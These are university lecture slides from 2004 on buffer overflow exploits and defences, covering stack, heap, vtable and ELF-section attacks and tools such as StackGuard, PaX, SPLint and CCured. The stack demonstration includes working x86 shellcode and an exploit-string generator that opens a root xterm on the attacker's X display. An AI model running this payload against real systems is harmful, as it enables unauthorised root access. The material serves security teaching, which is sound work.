Buffer Overflow Vulnerabilities
Exploits and Defensive Techniques

Adam Butcher and Peter Buchlovsky

8. March 2004
University of Birmingham
Contents

1. Call-stacks, shellcode, gets

2. Exploits – stack-based, heap-based

3. Defensive techniques – runtime, static, combined
Array bounds checking

1. Most high-level programming languages are *safe* — they check array bounds dynamically
Array bounds checking

1. Most high-level programming languages are safe — they check array bounds dynamically

2. C doesn’t — it is possible to write past the end of an array
Array bounds checking

1. Most high-level programming languages are safe — they check array bounds dynamically

2. C doesn’t — it is possible to write past the end of an array

3. Result: 50% of CERT advisories
Array bounds checking

1. Most high-level programming languages are safe — they check array bounds dynamically

2. C doesn’t — it is possible to write past the end of an array

3. Result: 50% of CERT advisories

4. Using a different language is often not possible — e.g. legacy code, systems-programming
Function activation records

1. Contain: return address, arguments, local variables etc.

2. To return from a function call we jump to the return address

3. If an attacker can overwrite the return address he can jump into his own malicious code
Call-stack

**Caller runs**
push arg1; . . . ; push argN;
push return_address;

**Callee runs**
push fp;
fp := sp;
sp := sp + sizeof(local_vars);
// body of callee
sp := fp;
fp := pop();
fp := pop();
pc := pop();

Buffer overflow vulnerabilities / March 8, 2004
**Call-stack**

**Caller runs**
- push arg1; . . . ; push argN;
- push return_address;

**Callee runs**
- push fp;
- fp := sp;
- sp := sp + sizeof(local_vars);
  // body of callee
- sp := fp;
- fp := pop();
- pc := pop();
**Call-stack**

**Caller runs**
- push arg1; ...; push argN;
- push return_address;

**Callee runs**
- push fp;
- fp := sp;
- sp := sp + sizeof(local_vars);
- // body of callee
- sp := fp;
- fp := pop();
- pc := pop();

---

Buffer overflow vulnerabilities / March 8, 2004
Call-stack

**Caller runs**
- push arg1; ...; push argN;
- push return_address;

**Callee runs**
- push fp;
- fp := sp;
- sp := sp + sizeof(local_vars);
- // body of callee
- sp := fp;
- fp := pop();
- pc := pop();
Call-stack

**Caller runs**
- push arg1; \ldots; push argN;
- push return_address;

**Callee runs**
- push fp;
- fp := sp;
- sp := sp + sizeof(local_vars);
  // body of callee
- sp := fp;
- fp := pop();
- pc := pop();
Call-stack

**Caller runs**
push arg1; . . . ; push argN;
push return_address;

**Callee runs**
push fp;
fp := sp;
sp := sp + sizeof(local_vars);
// body of callee
sp := fp;
fp := pop();
pc := pop();
Call-stack

**Caller runs**
push arg1; . . . ; push argN;
push return_address;

**Callee runs**
push fp;
fp := sp;
sp := sp + sizeof(local_vars);
// body of callee
sp := fp;
fp := pop();
pc := pop();

Buffer overflow vulnerabilities / March 8, 2004
**Call-stack**

**Caller runs**
- push arg1; . . . ; push argN;
- push return_address;

**Callee runs**
- push fp;
- fp := sp;
- sp := sp + sizeof(local_vars);
- // body of callee
- sp := fp;
- fp := pop();
- pc := pop();
Call-stack

**Caller runs**
- push arg1; . . . ; push argN;
- push return_address;

**Callee runs**
- push fp;
- fp := sp;
- sp := sp + sizeof(local_vars);
  // body of callee
- sp := fp;
- fp := pop();
- pc := pop();
Exploits

1. Function activation records
2. Function pointers
3. `malloc` internal data-structure
4. Indirect alteration
Shellcode

• Role: spawn a shell running under the \textit{uid} of the process

• In C terms: \texttt{execve("/bin/sh")}

• We will use "/usr/X11R6/bin/xterm" in our program

• Must be machine-code
The gets function – C Standard I/O Library

char *gets(char *s) – reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with '\0'. No check for buffer overrun is performed.
The gets function – C Standard I/O Library

char *gets(char *s) – reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with ‘\0’. No check for buffer overrun is performed.

So we must be careful about what we put into the shellcode. No ‘\n’ (newline) or ‘^D’ (end-of-file character) is allowed.
Vulnerable program

```c
#include <stdio.h>
main()
{
    char buffer[128];
    FILE* file;
    freopen("fifo", "r", stdin);
    gets(buffer);
}
```
Smashing the stack

**Caller runs**

```
push return_address;
```

**Callee runs**

```
push fp;
fp := sp;
// allocate space for buffer
sp := sp + sizeof(buffer);
gets(buffer);
// user enters shellcode
// gets returns
sp := fp;
fp := pop();
fp := pop();
```

Buffer overflow vulnerabilities / March 8, 2004
Smashing the stack

**Caller runs**

push return_address;

**Callee runs**

push fp;
fp := sp;
// allocate space for buffer
sp := sp + sizeof(buffer);
gets(buffer);
// user enters shellcode
// gets returns
sp := fp;
fp := pop();
fp := pop();
pc := pop();
Smashing the stack

**Caller runs**

push return_address;

**Callee runs**

push fp;
fp := sp;
// allocate space for buffer
sp := sp + sizeof(buffer);
gets(buffer);
// user enters shellcode
// gets returns
sp := fp;
fp := pop();
fp := pop();

```c
// allocate space for buffer
sp := sp + sizeof(buffer);
gets(buffer);
// user enters shellcode
// gets returns
sp := fp;
fp := pop();
fp := pop();
```
Smashing the stack

Caller runs
push return_address;

Callee runs
push fp;
fp := sp;
// allocate space for buffer
sp := sp + sizeof(buffer);
gets(buffer);
// user enters shellcode
// gets returns
sp := fp;
fp := pop();
fp := pop();
pc := pop();
Smashing the stack

**Caller runs**

push return_address;

**Callee runs**

push fp;
fp := sp;
// allocate space for buffer
sp := sp + sizeof(buffer);
gets(buffer);
// user enters shellcode
// gets returns
sp := fp;
fp := pop();
fp := pop();
Smashing the stack

**Caller runs**
push return_address;

**Callee runs**
push fp;
fp := sp;
// allocate space for buffer
sp := sp + sizeof(buffer);
gets(buffer);
// user enters shellcode
// gets returns
sp := fp;
fp := pop();
pc := pop();
Smashing the stack

**Caller runs**
push return_address;

**Callee runs**
push fp;
fp := sp;
// allocate space for buffer
sp := sp + sizeof(buffer);
gets(buffer);
// user enters shellcode
// gets returns
sp := fp;
fptr := pop();
pc := pop();
Smashing the stack

Caller runs
  push return_address;

Callee runs
  push fp;
  fp := sp;
  // allocate space for buffer
  sp := sp + sizeof(buffer);
  gets(buffer);
  // user enters shellcode
  // gets returns
  sp := fp;
  fp := pop();
  pc := pop();
**Smashing the stack**

**Caller runs**
push return_address;

**Callee runs**
push fp;
fp := sp;
// allocate space for buffer
sp := sp + sizeof(buffer);
gets(buffer);
// user enters shellcode
// gets returns
sp := fp;
fp := pop();
pc := pop();
Smashing the stack

Caller runs
  push return_address;

Callee runs
  push fp;
  fp := sp;
  // allocate space for buffer
  sp := sp + sizeof(buffer);
  gets(buffer);
  // user enters shellcode
  // gets returns
  sp := fp;
  fp := pop();
  pc := pop();
Other vulnerable functions

- `strcpy` – use `strncpy`
Other vulnerable functions

- strcpy – use strncpy
- But use it correctly
Other vulnerable functions

- `strcpy` – use `strncpy`
- But use it correctly
- The C++ iostreams library
Frame-pointer overwrite

- To locate the return address a function looks at fp + offset
- Alter the fp and the function will jump to our shellcode
Frame-pointer overwrite

• To locate the return address a function looks at \( fp + \text{offset} \)
• Alter the fp and the function will jump to our shellcode
• Problem: the fp is stored in a register
Frame-pointer overwrite

• To locate the return address a function looks at fp + offset

• Alter the fp and the function will jump to our shellcode

• Problem: the fp is stored in a register

• So we overwrite the saved fp instead

• The callee function returns normally but the caller now has the wrong fp
Return-into-libc

• What if the stack is not executable?
Return-into-libc

- What if the stack is not executable?
- We must get shellcode into the data segment, but how?
Return-into-libc

• What if the stack is not executable?

• We must get shellcode into the data segment, but how?

• Overwrite return address with the address of a libc function, strcpy
Return-into-libc

- What if the stack is not executable?
- We must get shellcode into the data segment, but how?
- Overwrite return address with the address of a libc function, strcpy
- Supply it with the address of the data segment (twice) and address of the shellcode
Non-terminated adjacent memory spaces

```c
void main(int argc, char **argv)
{
    char buf1[1024];
    char buf2[256];
    strncpy(buf1, argv[1], 1024);
    strncpy(buf2, argv[2], 256);
    ...
    func(buf2);
}
void func(char *p)
{
    char buf3[263];
    sprintf(buf3, "%s", p);
    func(buf3, "%s", p);
}
```
Stack-based Overflow Demonstration

1. A vulnerable server run as root and a string sent by a normal user to the server.

2. Targeted at Intel x86 architectures running GNU/Linux

3. Causes the server program to execute an xterm and display it via the attackers X server.

4. Gives the attacker a root xterm on the target.
Stack-based Overflow Demonstration
A Vulnerable Server

1. Two versions of the server written in C and C++
2. Simply reads a string from a named pipe into a 128 byte buffer
Stack-based Overflow Demonstration
A Vulnerable Server

1. Two versions of the server written in C and C++

2. Simply reads a string from a named pipe into a 128 byte buffer

3. C version behaves like `gets()`

4. C++ version uses `std::fstream`. More picky, will stop reading at any white space
Stack-based Overflow Demonstration
An Exploit String Generator

1. Guesses a target address based on its own stack pointer
Stack-based Overflow Demonstration
An Exploit String Generator

1. Guesses a target address based on its own stack pointer

2. Builds a string containing the following:
Stack-based Overflow Demonstration
An Exploit String Generator

1. Guesses a target address based on its own stack pointer

2. Builds a string containing the following:
   (a) A lead up of $n$ NOPs
   (b) $m$ bytes of machine code to execute the xterm and show on our (the attacker’s) X display
   (c) $r$ bytes filled with copies of the target address
Stack-based Overflow Demonstration
An Exploit String Generator (2)

The generated string needs to:
Stack-based Overflow Demonstration
An Exploit String Generator (2)

The generated string needs to:

1. Contain no whitespace. (to work against std::fstream's extraction operator)
Stack-based Overflow Demonstration
An Exploit String Generator (2)

The generated string needs to:

1. Contain no whitespace. (to work against \texttt{std::fstream}'s extraction operator)

2. Contain a correctly aligned target address.
The generated string needs to:

3. Be long enough to overfill the target’s buffer leaving the assumed address in the return address field in the stack.
Stack-based Overflow Demonstration
An Exploit String Generator (3)

The generated string needs to:

3. Be long enough to overfill the target’s buffer leaving the assumed address in the return address field in the stack.

4. Contain enough NOPs to give a reasonable margin of error for guessing the buffer’s address.
Stack-based Overflow Demonstration
An Exploit String Generator (4)

So that gets our machine code running, **BUT:**
So that gets our machine code running, **BUT:**

1. We use the system call `execve()`, which needs to know the *absolute* address of the program name we want to run, and *absolute* pointers to the addresses of any environment variables and arguments.
Stack-based Overflow Demonstration
An Exploit String Generator (4)

So that gets our machine code running, BUT:

1. We use the system call `execve()`, which needs to know the absolute address of the program name we want to run, and absolute pointers to the addresses of any environment variables and arguments.

2. So we use a clever trick...
Stack-based Overflow Demonstration
An Exploit String Generator (4)

So that gets our machine code running, **BUT:**

1. We use the system call `execve()`, which needs to know the *absolute* address of the program name we want to run, and *absolute* pointers to the addresses of any environment variables and arguments.

2. So we use a clever trick… *let's look at the code!*
```c
#define DEFAULT_CODE_SIZE (128)
#define DEFAULT_RETURN_SIZE (32)
#define DEFAULT_ALIGNMENT (0)
#define DEFAULT_TARGET_OFFSET (0)
#define NOP (0x90)

const char g_acLinuxIntelCode[] =
"\xeb\x27"            // jmp 0x27 (39)
"\x5e"                // popl %esi
"\x8d\x46\x15"        // leal 0x15(%esi),%eax
"\x89\x46\x29"        // movl %eax,0x29(%esi)
"\x31\xc0"            // xorl %eax,%eax
"\x89\x46\x2d"        // movl %eax,0x2d(%esi)
"\x88\x46\x14"        // movb %eax,0x14(%esi)
"\x88\x46\x25"        // movb %eax,0x25(%esi)
```
024  "\xb0\xfb"         // movb $0xfb,%al
025  "\x24\x0f"        // andb $0x0f,%al
026  "\x89\xf3"        // movl %esi,%ebx
027  "\x8d\x4e\x2d"    // leal 0x2d(%esi),%ecx
028  "\x8d\x56\x29"    // leal 0x29(%esi),%edx
029  "\xcd\x80"       // int $0x80
030  "\x31\xdb"       // xorl %ebx,%ebx
031  "\x89\xd8"       // movl %ebx,%eax
032  "\x40"           // inc %eax
033  "\xcd\x80"       // int $0x80
034  "\xe8\xd4\xff\xff\xff" // call -0x2c (-44)
035  "/usr/X11R6/bin/xterm@DISPLAY=sphere:0@";
036
075 int main( int argc, char** argv )
076 {

unsigned int uiCodeSize = DEFAULT_CODE_SIZE;
unsigned int uiReturnSize = DEFAULT_RETURN_SIZE;
unsigned char ucAlignment = DEFAULT_ALIGNMENT;
int iTargetOffset = DEFAULT_TARGET_OFFSET;

unsigned long ulTargetAddress = GetIntelEspRegister();

if( argc > 1 ) uiCodeSize = strtol( argv[1],0,0 );
if( argc > 2 ) uiReturnSize = strtol( argv[2],0,0 );
if( argc > 3 ) ucAlignment = strtol( argv[3],0,0 ) % 4;
if( argc > 4 ) iTargetOffset = strtol( argv[4],0,0 );

unsigned int uiAttackSize = uiCodeSize + uiReturnSize + 1;

char* pcStringBuffer = new char[ uiAttackSize ];
unsigned int uiProgramLength = strlen(g_acLinuxIntelCode);

int iPrependNopCount = uiCodeSize - uiProgramLength;

if ( iPrependNopCount < 0 )
{
    cerr << "\n*** Input Error ***"
    "\nMachine code program too big for attack buffer\n";
    delete[] pcStringBuffer;
    return 20;
}

// now we can proceed with creating the string.
//
char* pcLoc = pcStringBuffer;
// first the NOP leading

//
memset( pcLoc, NOP, iPrependNopCount );
pcLoc += iPrependNopCount;

// now the machine code

//
memcpy( pcLoc, g_acLinuxIntelCode, uiProgramLength );
pcLoc += uiProgramLength;

// now our aligned assumed return address as many times
// as it will fit in uiReturnSize bytes.

//
while( uiReturnSize-- )
    *(pcLoc++) = ((char*)&ulTargetAddress)[ ucAlignment = ucAlignment++ % 4 ];
// add null terminator
*pcLoc = 0;

// print a hex dump to stderr
PrintBuffer( pcStringBuffer, uiAttackSize );

// write the string to stdout
cout << pcStringBuffer << flush;

// say that its been done
cerr << endl << dec << uiAttackSize <<
   " bytes of pcStringBuffer written to stdout.\n\n";

// cleanup
delete[] pcStringBuffer;
return 0;
Practical Demonstration
Overflowing the heap

1. Targets function pointers and offsets rather than stack frame
Overflowing the heap

1. Targets function pointers and offsets rather than stack frame

2. Can have more global impact than stack attacks
Overflowing the heap

1. Targets function pointers and offsets rather than stack frame

2. Can have more global impact than stack attacks

3. Can alter data to bss “sections” in the executable
Overflowing the heap

1. Targets function pointers and offsets rather than stack frame
2. Can have more global impact than stack attacks
3. Can alter data to bss “sections” in the executable
4. Many heap exploits are architecture independent
Overflowing the heap

1. Targets function pointers and offsets rather than stack frame

2. Can have more global impact than stack attacks

3. Can alter data to bss “sections” in the executable

4. Many heap exploits are architecture independent\(^1\)

\(^1\)save for byte order changes.
Overflowing the heap (2)

5. Can exploit polymorphism mechanism in C++
Overflowing the heap (2)

5. Can exploit polymorphism mechanism in C++

6. Can exploit malloc()’s internal data structure
Overflowing the heap (2)

5. Can exploit polymorphism mechanism in C++

6. Can exploit malloc()’s internal data structure

7. Can indirectly manipulate control flow
Function pointers

typedef int (*BinaryFunction)(int, int);

char g_acBuffer[64];

BinaryFunction g_pfnFunction = 0;

main()
{
    ...

    std::cin >> g_acBuffer;

    iResult = g_pfnFunction( iA, iB );

    ...
}
Function pointers (2)

1. When will the attack manifest?
Function pointers (2)

1. When will the attack manifest?

2. Function pointer attacks are not restricted to current scope like stack attacks. What does this mean?
Function pointers (2)

1. When will the attack manifest?

2. Function pointer attacks are not restricted to current scope like stack attacks. What does this mean?

3. In the above example, the pointer g_pfnFunction is global.
Function pointers (2)

1. When will the attack manifest?

2. Function pointer attacks are not restricted to current scope like stack attacks. What does this mean?

3. In the above example, the pointer g_pfnFunction is global.

4. It may be corrupted by an overflow in one function then called by another.
C++ Polymorphism

```cpp
class Vulnerable : public SomeBase {
    public:
    char m_acBuffer[32];
    virtual void PolymorphicFunction();
};
```

1. Use VPTR stored in object instance. Hidden member variable.
C++ Polymorphism

```cpp
class Vulnerable : public SomeBase {
    public:
    char m_acBuffer[32];
    virtual void PolymorphicFunction();
};
```

1. Use VPTR stored in object instance. Hidden member variable.

2. Points to VTABLE of polymorphic functions.
008 main()
009 {
010  ...
011 Vulnerable k;
012 std::cin >> k.m_acBuffer;
013 k.PolymorphicFunction();
014  ...
015 }

3. Exploited by creating a fake VTABLE with all entries pointing to our machine code.
main() {
...
Vulnerable k;
std::cin >> k.m_acBuffer;
k.PolymorphicFunction();
...
}

3. Exploited by creating a fake VTABLE with all entries pointing to our machine code.

4. Overflow a member buffer to make VPTR point to our table.
Executable sections
(Based on Executable and Linking Format)

1. Procedure Linking Table (PLT)
2. Global Offset Table (GOT)
3. Initialization and Termination (init/fini)
4. Constructors and Destructors (ctors/dtors)
5. BSS (Uninitialized data section)
Executable sections
Exploits

Section order (from low memory to high):
1. .init Startup
2. .text String
3. .fini Shutdown
4. .rodata Read Only
5. .data Init’d Data
6. .tdata Init’d Thread Data
7. .tbss Uninit’d Thread Data
8. .ctors Constructors
9. .dtors Destructors
10. .got Global Offset Table
11. .bss Uninit’d Data
Executable sections
Exploits (2)

1. PLT stores jumps to functions in the Global Offset Table

2. User functions call these PLT “proxy-functions”
Executable sections
Exploits (2)

1. PLT stores jumps to functions in the Global Offset Table

2. User functions call these PLT “proxy-functions”

3. Can we overflow the GOT?
Executable sections
Exploits (2)

1. PLT stores jumps to functions in the Global Offset Table
2. User functions call these PLT “proxy-functions”
3. Can we overflow the GOT? Yes
Executable sections
Exploits (4)

1. GNU Compiler Collection provides _attribute_

2. To tag functions as constructors or destructors
Executable sections
Exploits (4)

1. GNU Compiler Collection provides _attribute_

2. To tag functions as constructors or destructors

3. Destructors are stored in the .dtors section
Executable sections
Exploits (4)

1. GNU Compiler Collection provides _attribute_

2. To tag functions as constructors or destructors

3. Destructors are stored in the .dtors section

4. All that is needed is an overflow from the .data section to overwrite a pointer to be called at destruction time.
Defensive techniques

1. Run-time detection
2. Static analysis
3. Combined runtime/static checking
Run-time Solutions

Solution’s can attempt to fix the problems at three different levels:

1. The **bug/overflow** stage. Where a buffer is overwritten passed its bounds.

---

\(^2\)http://www.wntrmute.com/docs/hack/w00w00 on heap overflows.html
Run-time Solutions

Solution’s can attempt to fix the problems at three different levels:

2. The **attack activation** stage. Data is corrupt but application still has control.
Run-time Solutions

Solution’s can attempt to fix the problems at three different levels:

3. The **seized stage**. Control has been redirected to attack code.
1. StackGuard inserts a sentinel value (or canary word) between the data buffer and the return address.

2. The canary can be checked at run-time.
Run-time Solutions
Stack Solutions

1. StackGuard inserts a sentinel value (or canary word) between the data buffer and the return address.

2. The canary can be checked at run-time.

3. StackShield, upon calling a function copies the return address into an non-overflowable area of memory.

4. Therefore the return address cannot be altered.
1. Libsafe is a middle-man between a run-time program and the C library.
1. Libsafe is a middle-man between a run-time program and the C library.

2. It implements versions of strcpy, memcpy and related functions.

3. It will not allow memory copies using these functions outside the range of the current stack frame.
Run-time Solutions
Stack Solutions (3)

1. StackGuard and StackShield are GCC compiler extensions.
Run-time Solutions
Stack Solutions (3)

1. StackGuard and StackShield are GCC compiler extensions.

2. Programs have to be recompiled with them enabled.

3. Libsafe does not require recompilation, but only protects a few “unsafe” C library functions.
Run-time Solutions
Stack Solutions (4)

1. Non-executable stack would be useful.
Run-time Solutions
Stack Solutions (4)

1. Non-executable stack would be useful. Meaning no data which we put in the stack is allowed to be run by the OS.
Run-time Solutions
Stack Solutions (4)

1. Non-executable stack would be useful. Meaning no data which we put in the stack is allowed to be run by the OS.

2. Openwall Project have made a Linux kernel patch to do just that.
Run-time Solutions
Stack Solutions (5)

3. Also maps shared libraries so that their addresses contain NUL bytes.

4. Can be subverted by using the PLT entry
Run-time Solutions
Heap Solutions

1. PaX protects the heap as well as the stack.
2. Uses the supervisor/user bit to flag non-executable data pages on x86
3. Modifies the page fault handler to throw page faults when attempting to execute code in data pages.
4. Extra overhead.
Run-time Solutions
Overview

1. We may need to execute code on the heap. eg. A Java interpreter may wish to cache some executable code on the heap in order to speed up execution\(^3\).

2. PaX (and equivalent) and Openwall provide a wrapper utility for this.

\(^3\)Example by Lhee and Chapin
3. We may need to execute code in the stack.
3. We may need to execute code in the stack. eg. GCC allows nested functions which require an executable stack.

4. As above, PaX (and equivalent) and Openwall provide a wrapper utility to allow this.
Problems with run-time solutions

- Run-time solutions always come with a performancy penalty
- After detecting and preventing a buffer overflow at run-time it is usually impossible to recover the program
- So we have turned the security threat into a denial-of-service attack
Static analysis — SPLint

[Evans, Larochelle, Guttag, Horning and Tan]

- Static analysis aims to detect problems at compile time
- General case is undecidable
- SPLint aims to detect high fraction of buffer overflow vulnerabilities
- However, it is both unsound and incomplete
SPLint — How to use it?

- User has to add annotations to source code and standard library headers in the form of comments like /*@ ... @*/

- preconditions (requires) and postconditions (ensures)

- four kinds of constraints: minSet, maxSet, minRead and maxRead as well as constants, variables, +, − and conjunction /\
char *strcpy (char *s1, const char *s2)
char *strcpy (char *s1, const char *s2)
/*@requires maxSet(s1) >= maxRead(s2)@*/
char *strcpy (char *s1, const char *s2)
/*@requires maxSet(s1) >= maxRead(s2)@*/
/*@ensures maxRead(s1) == maxRead(s2)
\ result == s1@*/
SPLint — How does it work?

1. Parse tree contains expressions – each one tagged with its constraints
SPLint — How does it work?

1. Parse tree contains expressions – each one tagged with its constraints

2. Constraint of an expression is the conjunction of constraints of the subexpressions
SPLint — How does it work?

1. Parse tree contains expressions – each one tagged with its constraints

2. Constraint of an expression is the conjunction of constraints of the subexpressions

3. Constraint resolution is done at the same time as type checking – going up the tree
4. Constraints are simplified using algebraic rules
4. Constraints are simplified using algebraic rules

5. For conditional branching predicates have to be analysed to see if they provide a *guard*

```c
if (sizeof (s1) > strlen (s2))
    strcpy(s1, s2);
```
4. Constraints are simplified using algebraic rules

5. For conditional branching predicates have to be analysed to see if they provide a *guard*
   ```c
   if (sizeof (s1) > strlen (s2))
       strcpy(s1, s2);
   ```

6. Loops are treated using heuristics
Combined static/run-time — CCured

[Necula, McPeak and Weimer]

• Source-to-source translation – from C to CIL

• Defines pointer types: safe, sequence and dynamic

• Union of a strongly typed and an untyped language

• Pointer types in C code are inferred based on constraints
CCured — Type inference

Aim: maximize number of SAFE and SEQ pointers

1. Constraint collection

2. Constraint normalisation

3. Constraint solving
CCured — Memory management

- Doesn’t handle manual deallocation (using `free`)
- Uses a conservative garbage collector
- We can assume that `free` is a nop
- Turn this feature off may make the code unsafe
Conclusion

StackShield
StackGuard
SPLintKernel patch
CCured Cyclone

libsafe
Kernel patch
SPLint
Java

EASY          HARD